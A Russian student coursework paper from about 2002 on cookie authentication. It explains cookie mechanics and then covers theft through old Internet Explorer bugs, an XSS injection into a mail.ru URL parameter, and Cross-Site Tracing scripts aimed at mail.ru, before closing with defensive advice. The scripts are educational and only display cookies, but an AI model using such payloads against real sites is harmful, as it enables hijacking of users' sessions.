Аутентификация cookie.

Курсовая работа по курсу «Защита Информации»
Студента 913 гр. Кучкова Г.П.

Технология cookie.

"Cookie" ("печенье") - это механизм, разработанный Netscape Corporation для преодоления статической природы протокола HTTP. В нормальной ситуации каждый раз, когда браузер обращается за документом на сервер, запрос обрабатывается как совершенно новое соединение, т.е. для каждого документа (или файла) при передаче по HTTP протоколу посылается отдельный запрос. Тот факт, что запрос может быть лишь одним из многих запросов, сделанных пользователем в ходе просмотра всего дерева документов на сервере, оказывается незафиксированным. Хотя это делает систему WEB более эффективной, статическая природа протокола затрудняет реализацию таких вещей, как, например, система учета покупок в магазине, которые требуют отслеживания истории действий клиента в течение продолжительного времени.

Включение cookie в HTTP протокол дало частичное решение этой проблемы. Cookie - это некое значение в текстово-цифровом виде, которое сервер передает браузеру. Браузер будет хранить эту информацию и передавать ее серверу с каждым запросом как часть HTTP заголовка. Одни значения cookie могут храниться только в течение одной сессии и удаляются после закрытия браузера. Другие, установленные на некоторый период времени, записываются в файл.

При первом контакте сервер посылает cookie браузеру. В дальнейшем браузер посылает серверу копию cookie при каждом соединении. Обычно cookie используются сервером для идентификации пользователя и поддержания иллюзии сохранения соединения при просмотре многих страниц. Сами по себе cookies ничего не могут делать. Однако сервер может считывать содержащуюся в cookies информацию и на основании ее анализа совершать те или иные действия.

Клиент имеет следующие ограничения для cookies:

- всего может храниться до 300 значений cookies
- каждый cookie не может превышать 4Кбайт
- с одного сервера или домена может храниться до 20 значений cookies

В случае если cookie принимает новое значение при имеющемся уже в браузере cookie с совпадающими данными, старое значение затирается новым. В остальных случаях новые cookies добавляются. Установка cookie делается посредствам HTTP протокола. Например, клиент, получив от сервера строку:

Set-Cookie: name=VALUE; expires=DATE; domain=DOMAIN_NAME; path=PATH; SECURE

"Запомнит", что для сервера *domain_name* необходимо установить значение переменной *nam*e в *value*. Вот краткое описание значения каждой переменной: *NAME=VALUE* - строка символов, исключая перевод строки, запятые и пробелы. *NAME*-имя cookie, *VALUE* - значение.

expires=DATE - время хранения cookie, т.е. вместо *DATE* должна стоять дата в формате *Wdy, DD-Mon-YYYY HH:MM:SS GMT*, после которой истекает время хранения cookie. Если этот атрибут не указан, то cookie хранится в течение одного сеанса, до закрытия браузера.
domain=DOMAIN_NAME - домен, для которого значение cookie действительно. Например, *domain=domen.com*. В этом случае значение cookie будет действительно и для сервера domen.com, и для www.domen.com. Однако, указания двух последних периодов доменных имен хватает только для доменов иерархии "COM", "EDU", "NET", "ORG", "GOV", "MIL", и "INT". Для доменов иерархии "RU" придется указывать три периода.
Если этот атрибут опущен, то по умолчанию используется доменное имя сервера, с которого было выставлено значение cookie.
path=PATH - этот атрибут устанавливает подмножество документов, для которых действительно значение cookie. Например, указание path=/win приведет к тому, что значение cookie будет действительно для множества документов в директории /win/, в директории /wings/ и файлов в текущей директории с именами типа “wind.html” и “windows.shtml”. Если этот атрибут не указан, то значение cookie распространяется только на документы в той же директории, что и документ, в котором было установлено cookie.
SECURE - если стоит такой маркер, то информация cookie пересылается только через HTTPS (HTTP с использованием SSL). Если этот маркер не указан, то информация пересылается обычным способом.

Разные языки программирования предлагают свою реализацию изменения cookie:

1. HTML позволяет изменить значения печенек так:

```
<META HTTP-EQUIV="Set-Cookie" CONTENT="name=john; EXPIRES=Friday,31-Dec-02
    23:59:59 GMT; DOMAIN=server.ru; PATH=/users/; SECURE">
```

2. Реализация на Perl:

```
print "Set-Cookie: name=john; expires=Friday,31-Dec-02 23:59:59 GMT;
    path=/users/; domain=server.ru;\n\n";
```

3. То же на JavaScript:

```
document.cookie="name=john; expires=Friday,31-Dec-02 23:59:59 GMT;
    path=/users/; domain=server.ru;";
```

Соответственно чтобы прочитать скриптом значение cookie, которое было установлено ранее, и соответствующим образом выполнить скрипт, используется переменная окружения HTTP_COOKIE.

1. На Perl это будет выглядеть так:

```
$cookie = $ENV{'HTTP_COOKIE'};
```

2. При использовании SSI для просмотра значения cookie можно применить директиву:

```
<!--#echo var="HTTP_COOKIE"-->
```

3. JavaScript может прочитать значение, использовав свойство объекта document:

var strCokie=document.cookie;

Когда запрашивается документ с HTTP сервера, браузер проверяет свои cookie на предмет соответствия домену сервера и прочей информации. В случае если найдены удовлетворяющие всем условиям значения cookie, браузер посылает их серверу в виде пары имя/значение:

Cookie: name=john;

Использование cookie - эффективное решение сохранения пользовательской информации. Многие считают их опасными, якобы они могут заразить компьютер вирусом или украсть их пароль подключения к интернету. Это утверждение является ошибочным. Но считать cookie безопасными тоже нельзя. Например:

1 Вы пользуетесь почтой с WEB интерфейсом. Чтобы не вводить пароль при каждом входе на ваш почтовый ящик, вы ставите галочку возле надписи "Сохранить пароль". Вследствие чего информация с вашим логином и паролем сохраняется в cookie, и при каждом входе на почту пароль и логин установятся автоматически.

2 Похожий пример можно привести и с интернет магазинами. Заполнив форму с данными о вашей кредитной карточке, они сохраняются, и при следующей покупке вам не придется заполнять все заново.

Это удобно с точки зрения пользователя, но о безопасности данной технологии не может быть и речи. Хотя некоторые методы защиты все-таки используются:

- Информация из cookie одного домена второго уровня (плюс подуровни) не может быть прочитана другими доменами.
- Если документ кэшируется, то информация о cookie не кэшируется.
- Информация cookie может передаваться с помощью протокола SSL.

На первый взгляд может показаться, что опасности в данной технологии нет. Однако если такая система построена не вполне аккуратно, она может быть использована третьими лицами. Например, cookie может быть перехвачен по пути от браузера к серверу и использован для получения несанкционированного доступа к данным. Поскольку браузер использует систему имен доменов (DNS) для идентификации сервера, существует возможность заставить браузер послать cookie на неправильный сервер, временно нарушив систему DNS. Если cookie долгоживущие, то их можно и просто украсть с жесткого диска машины пользователя.

Рассмотрим некоторые способы фальсификации cookie. Подменить cookie намного проще, чем их прочитать. Хотя если речь идет об удаленном компьютере, то задачи становятся равносильными. Дело в том, что подмена - это простая отправка cookie на сервер, а чтение разрешено только серверу. Для реализации чтения используется так называемая технология Cross Site Scripting(CSS или XSS, назван так, чтобы избежать путаницы с CSS, aka Cascade Style Sheets). По заявлению "Panda Software Russia" данная уязвимость присутствует в следующих браузерах:

- Mozilla (версии до 0.9.7.)
- Netscape (версии до 6.2.1.)
- MS Internet Explorer (5.5 и 6.0.)

В принципе, этого достаточно, поскольку это самые распространенные браузеры в сети интернет. Cross Site Scripting можно осуществить через уязвимость в браузере или некорректное WEB программирование. Атака через уязвимость в браузере удобна ее универсальностью по отношению к WEB ресурсам. В то же время она не будет эффективна, если пользователь использует иной браузер (а иногда и другую его версию). Уязвимость Internet ресурса - наоборот, безразлична к браузеру, но работает только с одним сайтом.

Уязвимость браузера.

Буквально всю первую половину 2002 года на BUGTRAQ, почти ежедневно, поступали сообщения об уязвимостях Internet Explorer и других браузеров. Например, известие за 24.10.2002 гласит:

"При передаче данных между окнами браузер проверяет, находятся ли они в одной зоне безопасности и в одном домене. Всего компания Grey Magic Security нашла девять способов обойти проверку, и все они связаны с кэширование объектов..."

Или другой експлоит за 16.10.2002, написанный для IE5-SP2 и IE6-SP1:

"Элементы <frame> и <iframe> могут содержать URL других доменов или протоколов, поэтому для них созданы более строгие правила защиты, которые предотвращают доступ из фрейма одного домена к содержанию другого домена.

Есть несколько способов обратится к <iframe> (или <frame>) документам в Internet Explorer (<iframe id="oFrameId">):

- *oFrameId.document*
- *document.all.oFrameId.contentWindow.document*
- *frames.oFrameId.document*
- *И другие*

Все эти методы правильно обрабатываются Internet Explorer, и он предотвращает любую попытку обращения к документу, который принадлежит другому домену.

Однако Microsoft пропустил одно важное свойство - "Document". Обнаружено, что когда используется "oIFrameElement.Document", и возращенный документ содержится внутри frame, не происходит никаких проверок защиты, находится ли документ в другом домене. Уязвимость позволяет атакующему получить доступ к DOM другого домена, и украсть cookie любого сайта, читать локальные файлы и выполнять произвольный код на системе клиента.

Пример (читает cookie mail.ru):

```
<script>
onload=function () {
setTimeout(
function () {
alert(document.getElementById("oVictim").Document.cookie);
},
```

```
100
);
}
</script>
<iframe src="http://www.mail.ru" id="oVictim"></iframe>
```

Уязвимость обнаружена в Internet Explorer 5.5sp2-6.0."

Как можно использовать эти уязвимости? Вот один из возможных сценариев. Некий пользователь имеет почту на www.mail.ru. Поставив галочку "Сохранить пароль", все его данные сохраняются в cookies. Теперь есть два варианта развития сценария:

1. Если есть физический или удаленный доступ к компьютеру.
2. Если доступа нет.

Для первого варианта нам просто нужно запустить експлоит. Для второго варианта нужен способ заставить пользователя запустить скрипт. Именно тут и возникает вопрос эффективности данного метода. При отсутствии физического или удаленного доступа к компьютеру надежнее использовать Уязвимость Internet ресурса. И наоборот.

Уязвимость Internet ресурса.

Уязвимость Internet ресурса - это некая уязвимость некорректно написанного скрипта (PHP, Perl/CGI, Phyton...). В данном случае нас интересует отсутствие фильтрации передаваемых параметров или ее слабая реализация. Реальным примером может стать уязвимость на mail.ru:

"Пользователи mail.ru, могут подвергнутся некому риску. Дело в том, что запрос вида http://win.mail.ru/cgi-bin/sendmsgok?To=text&Subject=text не проверяет значения передаваемых данных на Java Script. Это дает возможность злоумышленнику прочитать cookie пользователя..."

Чтение cookie, следовательно, можно использовать так:

http://win.mail.ru/cgi-bin/sendmsgok?Subject= <SCRIPT src="URL"></SCRIPT>
(URL путь к внедренному скрипту)

Данный метод неуместен, если на сервере нет уязвимостей или если они неизвестны.

Хищение cookie при помощи Trace.

С выходом SP1 (Октябрь 2002) должна была исчезнуть уязвимость XSS в браузере Internet Explorer. Действительно, чтение cookie с установленным в document.cookie флагом *HttpOnly* стало невозможным. Теперь при попытке обращения к cookie, браузер возвращал вместо значения пустую строку. Казалось бы, данная технология должна обеспечить безопасность конфиденциальных данных. Но 1 Ноября 2002 года Jeremiah Grossman предложил свой сценарий получения доступа к cookie, основанный на методе TRACE.

Метод TRACE используется для получения ответного сообщения на запрос на уровне приложения. Конечному получателю запроса СЛЕДУЕТ отразить полученное

сообщение обратно клиенту как объект ответа с кодом состояния 200 (OK). TRACE позволяет клиенту видеть, что получается на другом конце цепочки запросов и использовать эти данные для тестирования или диагностической информации. Если запрос успешно выполнен, то ответу следует содержать все сообщение запроса в теле объекта (entity-body), а Content-Type следует быть равным "message/http". Ответы на этот метод не кэшируются. Иными словами TRACE возвращает пользователю те данные, которые были отосланы в запросе. Он состоит из следующих данных:

1. Строка запроса (Request line)
2. Заголовки (Headers)
3. Отсылаемые данные (Post data)

Apache, IIS и iPlanet поддерживают по умолчанию запрос TRACE согласно протоколу HTTP/1.1. WhiteHat предложили список серверов, которые поддерживают запрос TRACE:

- www.passport.com
- www.yahoo.com
- www.disney.com
- www.securityfocus.com
- www.redhat.com
- www.go.com
- www.theregister.co.uk
- www.sun.com
- www.oracle.com
- www.ibm.com

Поскольку наша цель это - чтение cookie, значит использование document.cookie нам не принципиально. Поскольку значения cookie передаются на сервер вместе с запросом, то становится ясна возможность использования запроса TRACE для наших темных дел. Но заставить браузер отправить запрос TRACE не так просто, потому как он использует в качестве метода запроса POST или GET. Для обхода этих ограничений и посылки специально отформатированного HTTP запроса на целевой сервер, необходима расширенная технология скриптов на клиентском компьютере. Некоторые технологии позволяют нам добиться необходимых результатов. Jeremiah Grossman предложил использовать ActiveX - XMLHTTP:

```
<script>
function sendTrace () {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "http://mail.ru",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">
```

Используя ActiveX компонент XMLHTTP, мы отсылаем запрос TRACE на целевой web сервер. Если есть поддержка TRACE, браузер покажет данные, отосланные вместе с HTTP запросом. Internet Explorer отсылает по умолчанию данные, а JavaScript выводит окно с содержанием HTTP запроса. Если браузер имеет cookie от удаленного сервера, или

находится на сервере, используя WEB авторизацию, то, следовательно, данные могут быть перехвачены злоумышленником. Эта технология гарантирует обход атрибута "HttpOnly", потому что не используется функция document.cookie. Но самое страшное то, что от CROSS-SITE TRACING не спасает даже SSL.

При использовании TRACE запрос должен исходить со скрипта, принадлежащего одному домену с целевым сервером. Так, скрипт, который посылает запрос TRACE и соединяется с mail.ru, должен принадлежать серверу mail.ru. Технология доменных ограничений помогает защитить пользователей от XSS. Для обхода данного ограничения существуют два варианта: XSS в контексте браузера или сервера. Если возможность XSS присутствует на сервере, то предыдущий сценарий и будет эксплоитом. А для использования изъянов в браузере нужно воспользоваться таким сценарием:

1 Создание эксплоита для получения доступа в другую доменную зону (в принципе этого хватает если не используется флаг "*HttpOnly*").
2 Задание в качестве исполняемого кода сценария запроса TRACE.

Например:

```
<script>
function xssDomainTraceRequest(){
var exampleCode = "var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\")\;
xmlHttp.open(\"TRACE\",\"http://mail.ru\",false)\;
xmlHttp.send()\;
xmlDoc=xmlHttp.responseText\;
alert(xmlDoc)\;";
var target = "http://mail.ru";
cExampleCode = encodeURIComponent(exampleCode + ';top.close()');
var readyCode = 'font-size:expression(execScript(decodeURIComponent("' + cExampleCode +
'")))';
showModalDialog(target, null, readyCode);
}
</script>
<INPUT TYPE=BUTTON OnClick="xssDomainTraceRequest()" VALUE="Show Cookie
Information Using TRACE">
```

Тут используется уязвимость функции showModalDialog. Уязвимость была найдена Larhom'ом, который, кстати, указывает, что ничего нового в этой технологии нет, а представляет она собой только несколько переиначенную уязвимость XSS. В самом описании он говорит, что это - "hyped, sensationalised snakeoil".

Способы защиты cookie.

Как выход из сложившегося положения - шифрование данных. Этот способ не поможет при попытке подмены cookie, но эффективен при попытках чтения данных. При написании WEB приложений важно не забывать о таких вещах как:

- флаг *httpOnly*
- фильтрация входных данных
- шифрование на основе открытого и приватного ключей. (Шифрование наподобие XOR малоэффективно)

Кроме того, разработчики систем, использующих cookie, должны всегда учитывать возможность их перехвата. Cookie всегда должны содержать как можно меньше информации частного характера. В частности, cookie *никогда* не должны содержать имен пользователей и паролей в открытой форме. В условиях ISP, когда на сервере расположено много пользователей, следует указывать как можно более подробное значение в "*PATH*". Например, если программа, использующая cookie, расположена на URL *http://bigISP.com/users/fred/orders.cgi*, то разработчику следует установить значение *PATH* в */users/fred/orders.cgi*, а не более общий путь /.

Если возможно, cookie должны содержать информацию, подтверждающую права пользователя на их использование. Популярная схема состоит во включении следующей информации:

1. Идентификатор сессии
2. дата и время выпуска cookie
3. время "годности"
4. IP адрес браузера, которому был выдан cookie
5. MAC (message authenticity check)

Ограничивая время жизни cookie, разработчик уменьшает размер потенциального ущерба, который может быть вызван cookie, возможность использования его после перехвата оказывается ограниченной во времени. Включение IP адреса позволит принимать cookie только в том случае, если адрес совпадает с адресом посылающего браузера. Использование ворованного cookie в этом случае затрудняется, поскольку «замазывание» IP адреса - трудная (хотя и не невозможная) задача. MAC присутствует здесь для того, чтобы иметь уверенность в сохранности информации в cookie.

Статьи:

[1] Безопасность WWW: Безопасность на стороне клиента. *http://www.psc.ru/sergey/bgtraq/ARTICLES/wwwseq/wwwsf7.html*

[2] Фальсификация cookie. *http://www.uinc.ru/articles/40/index.shtml*